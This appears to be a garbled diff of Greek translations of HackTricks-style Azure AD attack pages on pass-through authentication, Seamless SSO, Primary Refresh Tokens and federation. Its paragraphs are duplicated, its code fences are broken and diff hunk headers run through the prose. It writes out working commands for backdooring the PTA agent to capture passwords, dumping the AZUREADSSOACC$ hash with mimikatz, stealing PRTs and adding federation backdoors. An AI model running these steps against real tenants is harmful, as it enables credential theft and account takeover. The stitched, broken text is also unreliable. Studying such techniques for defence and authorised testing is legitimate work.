[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**.
Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης** **δεν είναι** όπως στην PHS.
Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται από έναν **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
### Authentication flow
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Για να **συνδεθεί** ο χρήστης ανακατευθύνεται στο **Azure AD**, όπου στέλνει το **όνομα χρήστη** και τον **κωδικό πρόσβασης**
2. Οι **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.**
4. Ο **πράκτορας** **επικυρώνει** τα διαπιστευτήρια με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη.
2. Οι **διαπιστευτήριες** είναι **κρυπτογραφημένες** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τις **διαπιστευτήριες** από την ουρά και τις **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.**
4. Ο **πράκτορας** **επικυρώνει** τις διαπιστευτήριες με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη.
> [!WARNING]
> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δει** όλα τα **διαπιστευτήρια** από την ουρά (σε **καθαρό κείμενο**).\
> Μπορεί επίσης να **επικυρώσει οποιαδήποτε διαπιστευτήρια** στο AzureAD (παρόμοια επίθεση με το Skeleton key).
> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλες τις **διαπιστευτήριες** από την ουρά (σε **καθαρό κείμενο**).\
> Μπορεί επίσης να **επικυρώσει οποιεσδήποτε διαπιστευτήριες** στο AzureAD (παρόμοια επίθεση με το Skeleton key).
### On-Prem -> cloud
Εάν έχετε **διαχειριστική** πρόσβαση στον **διακομιστή Azure AD Connect** με τον **πράκτορα PTA** να εκτελείται, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε μια πίσω πόρτα** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για πιστοποίηση):
```powershell
```bash
Install-AADIntPTASpy
```
> [!NOTE]
> Αν η **εγκατάσταση αποτύχει**, αυτό πιθανώς οφείλεται σε ελλείποντα [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου είχε εγκατασταθεί η προηγούμενη πίσω πόρτα:
```powershell
Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου εγκαταστάθηκε η προηγούμενη πίσω πόρτα:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Αυτή η πίσω πόρτα θα:
@@ -48,7 +48,7 @@ Get-AADIntPTASpyLog -DecodePasswords
### Cloud -> On-Prem
> [!CAUTION]
> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από τον επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.**
> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.**
### Seamless SSO
@@ -4,7 +4,7 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -14,14 +14,14 @@
Το Desktop SSO χρησιμοποιεί **Kerberos** για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν **λογαριασμό υπολογιστή που ονομάζεται AZUREADSSOACC`$`** στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού `AZUREADSSOACC$` **αποστέλλεται ως απλό κείμενο στο Azure AD** κατά τη διάρκεια της ρύθμισης.
Τα **εισιτήρια Kerberos** είναι **κρυπτογραφημένα** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Azure AD χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τα εισιτήρια.
Οι **εισιτήριοι Kerberos** είναι **κρυπτογραφημένοι** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Azure AD χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τους εισητήριους.
**Το Azure AD** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισιτήρια σε αυτό το endpoint για SSO.
**Το Azure AD** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισητήρια σε αυτό το endpoint για SSO.
### On-prem -> cloud
Ο **κωδικός πρόσβασης** του χρήστη **`AZUREADSSOACC$` δεν αλλάζει ποτέ**. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει το **hash αυτού του λογαριασμού**, και στη συνέχεια να το χρησιμοποιήσει για να **δημιουργήσει ασημένια εισιτήρια** για να συνδεθεί στο Azure με **οποιονδήποτε τοπικό χρήστη συγχρονισμένο**:
```powershell
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
```
Με το hash μπορείτε τώρα **να δημιουργήσετε ασημένια εισιτήρια**:
```powershell
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -77,13 +77,13 @@ Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Sub
- **TGT ενός συμβιβασμένου χρήστη:** Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης TGT delegation που έχει υλοποιηθεί σε πολλά εργαλεία όπως το [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) και το [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **Golden Ticket**: Αν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη.
- **NTLM hash ή AES key ενός συμβιβασμένου χρήστη:** Το SeamlessPass θα επικοινωνήσει με τον domain controller με αυτές τις πληροφορίες για να δημιουργήσει το TGT.
- **NTLM hash ή AES key του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Security Identifier (SID) του χρήστη που θέλετε να επιτεθείτε, είναι δυνατό να δημιουργήσετε ένα service ticket και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο).
- **NTLM hash ή AES key του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Security Identifier (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα service ticket και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο).
Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) με:
```
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
```
Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να [**βρεθούν σε αυτήν την ανάρτηση ιστολογίου**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να [**βρεθούν σε αυτήν την ανάρτηση blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
#### ~~Δημιουργία Kerberos tickets για χρήστες μόνο στο cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
@@ -91,11 +91,11 @@ seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_
> [!CAUTION]
> Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα **μπλοκαρισμένη από τη Microsoft**.\
> Για πληροφορίες ελέγξτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
> Για πληροφορίες δείτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
### On-prem -> Cloud μέσω Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
Οποιοσδήποτε μπορεί να διαχειριστεί λογαριασμούς υπολογιστών (`AZUREADSSOACC$`) στο κοντέινερ ή OU όπου βρίσκεται αυτός ο λογαριασμός, μπορεί να **ρυθμίσει μια περιορισμένη ανάθεση πόρων πάνω στον λογαριασμό και να έχει πρόσβαση σε αυτόν**.
Οποιοσδήποτε μπορεί να διαχειριστεί λογαριασμούς υπολογιστών (`AZUREADSSOACC$`) στο κοντέινερ ή OU όπου βρίσκεται αυτός ο λογαριασμός, μπορεί να **ρυθμίσει μια περιορισμένη ανάθεση πόρων πάνω από τον λογαριασμό και να έχει πρόσβαση σε αυτόν**.
```python
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
```
@@ -8,7 +8,7 @@
az-primary-refresh-token-prt.md
{{#endref}}
### Ελέγξτε αν έχετε ένα PRT
### Έλεγχος αν έχετε ένα PRT
```
Dsregcmd.exe /status
```
@@ -57,11 +57,11 @@ Dsregcmd.exe /status
### Επίθεση - ROADtoken
Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτή την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να πιστοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**.
Για περισσότερες πληροφορίες σχετικά με αυτόν τον τρόπο [**ελέγξτε αυτήν την ανάρτηση**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). Το ROADtoken θα εκτελέσει το **`BrowserCore.exe`** από τον σωστό κατάλογο και θα το χρησιμοποιήσει για να **αποκτήσει ένα PRT cookie**. Αυτό το cookie μπορεί στη συνέχεια να χρησιμοποιηθεί με τα ROADtools για να πιστοποιήσει και να **αποκτήσει ένα μόνιμο refresh token**.
Για να δημιουργήσετε ένα έγκυρο PRT cookie, το πρώτο πράγμα που χρειάζεστε είναι ένα nonce.\
Μπορείτε να το αποκτήσετε με:
```powershell
```bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
@@ -77,31 +77,31 @@ $Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
```
Ή χρησιμοποιώντας [**roadrecon**](https://github.com/dirkjanm/ROADtools):
```powershell
```bash
roadrecon auth prt-init
```
Μπορείτε να χρησιμοποιήσετε [**roadtoken**](https://github.com/dirkjanm/ROADtoken) για να αποκτήσετε ένα νέο PRT (τρέξτε το εργαλείο από μια διαδικασία του χρήστη που θέλετε να επιτεθείτε):
```powershell
```bash
.\ROADtoken.exe <nonce>
```
Ως μία γραμμή:
```powershell
```bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
```
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το **generated cookie** για να **generate tokens** για **login** χρησιμοποιώντας Azure AD **Graph** ή Microsoft Graph:
```powershell
```bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
```
### Επίθεση - Χρήση του roadrecon
### Επίθεση - Χρήση roadrecon
### Επίθεση - Χρήση του AADInternals και ενός διαρρεύσαντος PRT
### Επίθεση - Χρήση AADInternals και ενός leaked PRT
`Get-AADIntUserPRTToken` **λαμβάνει το PRT token του χρήστη** από τον υπολογιστή που είναι συνδεδεμένος στο Azure AD ή Hybrid. Χρησιμοποιεί το `BrowserCore.exe` για να αποκτήσει το PRT token.
```powershell
```bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
@@ -109,7 +109,7 @@ $prtToken = Get-AADIntUserPRTToken
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
```
Ή αν έχετε τις τιμές από το Mimikatz μπορείτε επίσης να χρησιμοποιήσετε το AADInternals για να δημιουργήσετε ένα token:
```powershell
```bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
@@ -166,7 +166,7 @@ HttpOnly: Set to True (checked)
> Αυτό δεν θα λειτουργήσει ακριβώς μετά τις διορθώσεις του Αυγούστου 2021 για να αποκτήσετε τα PRT tokens άλλων χρηστών, καθώς μόνο ο χρήστης μπορεί να αποκτήσει το PRT του (ένας τοπικός διαχειριστής δεν μπορεί να έχει πρόσβαση στα PRT άλλων χρηστών), αλλά μπορεί να έχει πρόσβαση στο δικό του.
Μπορείτε να χρησιμοποιήσετε το **mimikatz** για να εξάγετε το PRT:
```powershell
```bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
@@ -187,7 +187,7 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
> [!NOTE]
> Αν δεν δείτε κανένα δεδομένο PRT, μπορεί να είναι ότι **δεν έχετε κανένα PRT** επειδή η συσκευή σας δεν είναι συνδεδεμένη με το Azure AD ή μπορεί να τρέχετε **παλιά έκδοση** των Windows 10.
Για να **αποκρυπτογραφήσετε** το session key, πρέπει να **ανυψώσετε** τα προνόμιά σας σε **SYSTEM** για να τρέξετε υπό το πλαίσιο του υπολογιστή ώστε να μπορέσετε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό:
Για να **αποκρυπτογραφήσετε** το session key, πρέπει να **ανυψώσετε** τα δικαιώματά σας σε **SYSTEM** για να τρέξετε υπό το πλαίσιο του υπολογιστή ώστε να μπορείτε να χρησιμοποιήσετε το **DPAPI masterkey για να το αποκρυπτογραφήσετε**. Μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές για να το κάνετε αυτό:
```
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
@@ -222,13 +222,13 @@ HttpOnly: Set to True (checked)
> [!CAUTION]
> Το υπόλοιπο θα πρέπει να είναι τα προεπιλεγμένα. Βεβαιωθείτε ότι μπορείτε να ανανεώσετε τη σελίδα και το cookie δεν εξαφανίζεται, αν το κάνει, μπορεί να έχετε κάνει ένα λάθος και θα πρέπει να περάσετε ξανά από τη διαδικασία. Αν δεν το κάνει, θα είστε εντάξει.
#### Επιλογή 2 - roadrecon χρησιμοποιώντας PRT
#### Option 2 - roadrecon using PRT
- Ανανεώστε πρώτα το PRT, το οποίο θα αποθηκευτεί στο `roadtx.prt`:
```bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
```
- Τώρα μπορούμε να **αιτήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA.
- Τώρα μπορούμε να **ζητήσουμε tokens** χρησιμοποιώντας τον διαδραστικό περιηγητή με `roadtx browserprtauth`. Αν χρησιμοποιήσουμε την εντολή `roadtx describe`, βλέπουμε ότι το access token περιλαμβάνει μια αξίωση MFA επειδή το PRT που χρησιμοποίησα σε αυτή την περίπτωση είχε επίσης μια αξίωση MFA.
```bash
roadtx browserprtauth
roadtx describe < .roadtools_auth
@@ -237,7 +237,7 @@ roadtx describe < .roadtools_auth
#### Επιλογή 3 - roadrecon χρησιμοποιώντας παραγόμενα κλειδιά
Έχοντας το πλαίσιο και το παραγόμενο κλειδί που έχει απορριφθεί από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με:
Έχοντας το πλαίσιο και το παραγόμενο κλειδί που εξήχθη από το mimikatz, είναι δυνατόν να χρησιμοποιηθεί το roadrecon για να παραχθεί ένα νέο υπογεγραμμένο cookie με:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
@@ -2,6 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
Για να ξεκινήσετε τις δοκιμές, θα πρέπει να έχετε πρόσβαση με έναν χρήστη με **δικαιώματα Αναγνώστη πάνω στη συνδρομή** και **ρόλο Παγκόσμιου Αναγνώστη στο AzureAD**. Αν ακόμα και σε αυτή την περίπτωση **δεν μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των Λογαριασμών Αποθήκευσης**, μπορείτε να το διορθώσετε με τον **ρόλο Συνεισφέροντα Λογαριασμού Αποθήκευσης**.
Για να ξεκινήσετε μια ανασκόπηση σκληρής ασφάλισης κάποιων Entra ID tenats, πρέπει να ζητήσετε **ρόλο Global Reader σε κάθε tenant**. Επιπλέον, για να εκτελέσετε μια ανασκόπηση σκληρής ασφάλισης διαφορετικών Azure subscriptions, θα χρειαστείτε τουλάχιστον **δικαιώματα Reader σε όλες τις συνδρομές**.
Σημειώστε ότι αν αυτοί οι ρόλοι δεν είναι αρκετοί για να έχετε πρόσβαση σε όλες τις πληροφορίες που χρειάζεστε, μπορείτε επίσης να ζητήσετε από τον πελάτη ρόλους με τα δικαιώματα που χρειάζεστε. Απλώς προσπαθήστε να **ελαχιστοποιήσετε την ποσότητα των μη αναγνωστικών δικαιωμάτων που ζητάτε!**
{{#include ../../banners/hacktricks-training.md}}
@@ -2,46 +2,46 @@
{{#include ../../../banners/hacktricks-training.md}}
### Παράνομη Χορήγηση Συγκατάθεσης
### Illicit Consent Grant
Από προεπιλογή, οποιοσδήποτε χρήστης μπορεί να καταχωρήσει μια εφαρμογή στο Azure AD. Έτσι, μπορείτε να καταχωρήσετε μια εφαρμογή (μόνο για τον στοχοθετημένο ενοικιαστή) που χρειάζεται δικαιώματα υψηλής επιρροής με συγκατάθεση διαχειριστή (και να την εγκρίνετε αν είστε ο διαχειριστής) - όπως η αποστολή email εκ μέρους ενός χρήστη, η διαχείριση ρόλων κ.λπ. Αυτό θα μας επιτρέψει να **εκτελέσουμε επιθέσεις phishing** που θα ήταν πολύ **κερδοφόρες** σε περίπτωση επιτυχίας.
Από προεπιλογή, οποιοσδήποτε χρήστης μπορεί να καταχωρήσει μια εφαρμογή στο Azure AD. Έτσι, μπορείτε να καταχωρήσετε μια εφαρμογή (μόνο για τον στοχευμένο ενοικιαστή) που χρειάζεται υψηλές άδειες με έγκριση διαχειριστή (και να την εγκρίνετε αν είστε ο διαχειριστής) - όπως η αποστολή email εκ μέρους ενός χρήστη, η διαχείριση ρόλων κ.λπ. Αυτό θα μας επιτρέψει να **εκτελέσουμε επιθέσεις phishing** που θα ήταν πολύ **κερδοφόρες** σε περίπτωση επιτυχίας.
Επιπλέον, θα μπορούσατε επίσης να αποδεχθείτε αυτή την εφαρμογή με τον χρήστη σας ως έναν τρόπο διατήρησης πρόσβασης σε αυτήν.
Επιπλέον, θα μπορούσατε επίσης να αποδεχθείτε αυτή την εφαρμογή με τον χρήστη σας ως τρόπο διατήρησης πρόσβασης σε αυτήν.
### Εφαρμογές και Υπηρεσίες Principals
### Applications and Service Principals
Με προνόμια Διαχειριστή Εφαρμογών, GA ή έναν προσαρμοσμένο ρόλο με δικαιώματα microsoft.directory/applications/credentials/update, μπορούμε να προσθέσουμε διαπιστευτήρια (μυστικό ή πιστοποιητικό) σε μια υπάρχουσα εφαρμογή.
Με προνόμια Διαχειριστή Εφαρμογών, GA ή έναν προσαρμοσμένο ρόλο με άδειες microsoft.directory/applications/credentials/update, μπορούμε να προσθέσουμε διαπιστευτήρια (μυστικό ή πιστοποιητικό) σε μια υπάρχουσα εφαρμογή.
Είναι δυνατόν να **στοχεύσουμε μια εφαρμογή με υψηλά δικαιώματα** ή **να προσθέσουμε μια νέα εφαρμογή** με υψηλά δικαιώματα.
Είναι δυνατόν να **στοχεύσουμε μια εφαρμογή με υψηλές άδειες** ή **να προσθέσουμε μια νέα εφαρμογή** με υψηλές άδειες.
Ένας ενδιαφέρον ρόλος για να προστεθεί στην εφαρμογή θα ήταν ο **ρόλος διαχειριστή προνομιακής αυθεντικοποίησης** καθώς επιτρέπει να **επαναφέρετε τον κωδικό πρόσβασης** των Παγκόσμιων Διαχειριστών.
Ένας ενδιαφέρον ρόλος για να προστεθεί στην εφαρμογή θα ήταν ο **ρόλος διαχειριστή προνομιακής πιστοποίησης** καθώς επιτρέπει την **επανεκκίνηση κωδικού πρόσβασης** των Παγκόσμιων Διαχειριστών.
Αυτή η τεχνική επιτρέπει επίσης να **παρακαμφθεί το MFA**.
```powershell
```bash
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
```
- Για την αυθεντικοποίηση με βάση το πιστοποιητικό
```powershell
```bash
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
```
### Federation - Token Signing Certificate
Με **δικαιώματα DA** σε on-prem AD, είναι δυνατόν να δημιουργήσουμε και να εισάγουμε **νέα πιστοποιητικά υπογραφής Token** και **πιστοποιητικά αποκρυπτογράφησης Token** που έχουν πολύ μεγάλη διάρκεια ισχύος. Αυτό θα μας επιτρέψει να **συνδεθούμε ως οποιοσδήποτε χρήστης** του οποίου το ImuutableID γνωρίζουμε.
**Εκτελέστε** την παρακάτω εντολή ως **DA στον ADFS server(s)** για να δημιουργήσετε νέα πιστοποιητικά (προεπιλεγμένος κωδικός πρόσβασης 'AADInternals'), να τα προσθέσετε στο ADFS, να απενεργοποιήσετε την αυτόματη ανανέωση και να επανεκκινήσετε την υπηρεσία:
```powershell
**Εκτελέστε** την παρακάτω εντολή ως **DA στους ADFS server(s)** για να δημιουργήσετε νέα πιστοποιητικά (προεπιλεγμένος κωδικός πρόσβασης 'AADInternals'), να τα προσθέσετε στο ADFS, να απενεργοποιήσετε την αυτόματη ανανέωση και να επανεκκινήσετε την υπηρεσία:
```bash
New-AADIntADFSSelfSignedCertificates
```
Στη συνέχεια, ενημερώστε τις πληροφορίες πιστοποίησης με το Azure AD:
```powershell
```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io
```
### Ομοσπονδία - Εμπιστευμένος Τομέας
### Federation - Trusted Domain
Με δικαιώματα GA σε έναν ενοικιαστή, είναι δυνατόν να **προσθέσετε έναν νέο τομέα** (πρέπει να επαληθευτεί), να ρυθμίσετε τον τύπο αυθεντικοποίησής του σε Ομοσπονδία και να ρυθμίσετε τον τομέα να **εμπιστεύεται ένα συγκεκριμένο πιστοποιητικό** (any.sts στην παρακάτω εντολή) και εκδότη:
```powershell
Με δικαιώματα GA σε έναν ενοικιαστή, είναι δυνατόν να **προσθέσετε ένα νέο τομέα** (πρέπει να επαληθευτεί), να ρυθμίσετε τον τύπο αυθεντικοποίησής του σε Federated και να ρυθμίσετε τον τομέα να **εμπιστεύεται ένα συγκεκριμένο πιστοποιητικό** (any.sts στην παρακάτω εντολή) και εκδότη:
```bash
# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
@@ -4,7 +4,7 @@
## Azure Automation Accounts
Για περισσότερες πληροφορίες, ελέγξτε:
Για περισσότερες πληροφορίες ελέγξτε:
{{#ref}}
../az-services/az-automation-accounts.md
@@ -12,16 +12,16 @@
### Hybrid Workers Group
